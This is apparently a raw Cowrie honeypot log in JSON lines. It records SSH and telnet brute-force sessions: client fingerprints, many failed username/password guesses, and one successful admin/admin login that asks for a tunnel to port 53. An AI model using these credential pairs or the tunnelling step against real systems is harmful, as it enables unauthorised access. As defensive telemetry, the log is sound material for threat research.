{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55096,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4334ee57b32","protocol":"ssh","message":"New connection: 159.203.92.129:55096 (159.203.135.109:22) [session: b4334ee57b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:03:36.362797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:03:36.368515Z","src_ip":"159.203.92.129","session":"b4334ee57b32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:03:36.374232Z","src_ip":"159.203.92.129","session":"b4334ee57b32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ZhaoJH","password":"123","message":"login attempt [ZhaoJH/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:03:36.386362Z","src_ip":"159.203.92.129","session":"b4334ee57b32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:03:37.393887Z","src_ip":"159.203.92.129","session":"b4334ee57b32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55781,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a651ad8cba1","protocol":"telnet","message":"New connection: 170.79.76.209:55781 (10.17.0.5:23) [session: 8a651ad8cba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:04:12.469879Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55996,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef4ec9eb759e","protocol":"telnet","message":"New connection: 170.79.76.209:55996 (10.17.0.5:23) [session: ef4ec9eb759e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:04:13.054592Z"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":57348,"dst_ip":"159.203.135.109","dst_port":22,"session":"8203acd951f4","protocol":"ssh","message":"New connection: 140.106.25.230:57348 (159.203.135.109:22) [session: 8203acd951f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:04:14.126702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:04:14.131205Z","src_ip":"140.106.25.230","session":"8203acd951f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:04:14.165831Z","src_ip":"140.106.25.230","session":"8203acd951f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser01","message":"login attempt [ftpuser/ftpuser01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:04:14.318366Z","src_ip":"140.106.25.230","session":"8203acd951f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.76.209","src_port":55885,"dst_ip":"10.17.0.5","dst_port":23,"session":"94faf5da47a5","protocol":"telnet","message":"New connection: 170.79.76.209:55885 (10.17.0.5:23) [session: 94faf5da47a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:04:15.014885Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:04:15.370215Z","src_ip":"140.106.25.230","session":"8203acd951f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47134,"dst_ip":"159.203.135.109","dst_port":22,"session":"a964cc60ed96","protocol":"ssh","message":"New connection: 159.203.92.129:47134 (159.203.135.109:22) [session: a964cc60ed96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:04:20.565699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:04:20.570290Z","src_ip":"159.203.92.129","session":"a964cc60ed96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:04:20.574726Z","src_ip":"159.203.92.129","session":"a964cc60ed96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ZhaoJH","password":"123456","message":"login attempt [ZhaoJH/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:04:20.586144Z","src_ip":"159.203.92.129","session":"a964cc60ed96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:04:21.593037Z","src_ip":"159.203.92.129","session":"a964cc60ed96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":39084,"dst_ip":"159.203.135.109","dst_port":22,"session":"1052c9e11eea","protocol":"ssh","message":"New connection: 173.249.6.197:39084 (159.203.135.109:22) [session: 1052c9e11eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:04:22.219689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:04:22.229489Z","src_ip":"173.249.6.197","session":"1052c9e11eea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:04:22.323168Z","src_ip":"173.249.6.197","session":"1052c9e11eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"kedacom","message":"login attempt [admin/kedacom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:04:22.725267Z","src_ip":"173.249.6.197","session":"1052c9e11eea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:04:23.822221Z","src_ip":"173.249.6.197","session":"1052c9e11eea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.03603935241699,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:04:59.550707Z","src_ip":"152.32.87.10","session":"aa29ea8a8e90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.87.10","src_port":36390,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bb10d777f62","protocol":"telnet","message":"New connection: 152.32.87.10:36390 (10.17.0.5:23) [session: 0bb10d777f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:01.308250Z"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":46396,"dst_ip":"159.203.135.109","dst_port":22,"session":"57b9ce4450dc","protocol":"ssh","message":"New connection: 140.106.25.230:46396 (159.203.135.109:22) [session: 57b9ce4450dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:01.718361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:01.723841Z","src_ip":"140.106.25.230","session":"57b9ce4450dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:01.756052Z","src_ip":"140.106.25.230","session":"57b9ce4450dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@520","message":"login attempt [root/admin@520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:01.915860Z","src_ip":"140.106.25.230","session":"57b9ce4450dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00218963623047,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:02.769555Z","src_ip":"152.32.87.10","session":"e69c835f3f87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:02.953610Z","src_ip":"140.106.25.230","session":"57b9ce4450dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40748,"dst_ip":"159.203.135.109","dst_port":22,"session":"30dca55c2748","protocol":"ssh","message":"New connection: 159.203.92.129:40748 (159.203.135.109:22) [session: 30dca55c2748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:05.874498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:06.077623Z","src_ip":"159.203.92.129","session":"30dca55c2748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:06.081572Z","src_ip":"159.203.92.129","session":"30dca55c2748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ZhaoJH","password":"ZhaoJH","message":"login attempt [ZhaoJH/ZhaoJH] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:06.981099Z","src_ip":"159.203.92.129","session":"30dca55c2748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:08.091224Z","src_ip":"159.203.92.129","session":"30dca55c2748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.184.225","src_port":11244,"dst_ip":"10.17.0.5","dst_port":23,"session":"6591873cc3e0","protocol":"telnet","message":"New connection: 196.189.184.225:11244 (10.17.0.5:23) [session: 6591873cc3e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:20.199656Z"}
{"eventid":"cowrie.session.closed","duration":13.625839471817017,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:33.825375Z","src_ip":"196.189.184.225","session":"6591873cc3e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":48228,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c6a21247831","protocol":"ssh","message":"New connection: 87.251.64.176:48228 (10.17.0.5:22) [session: 9c6a21247831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:35.454503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:35.460699Z","src_ip":"87.251.64.176","session":"9c6a21247831","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:35.557088Z","src_ip":"87.251.64.176","session":"9c6a21247831","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:35.900064Z","src_ip":"87.251.64.176","session":"9c6a21247831","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:05:36.002150Z","session":"9c6a21247831","protocol":"ssh"}
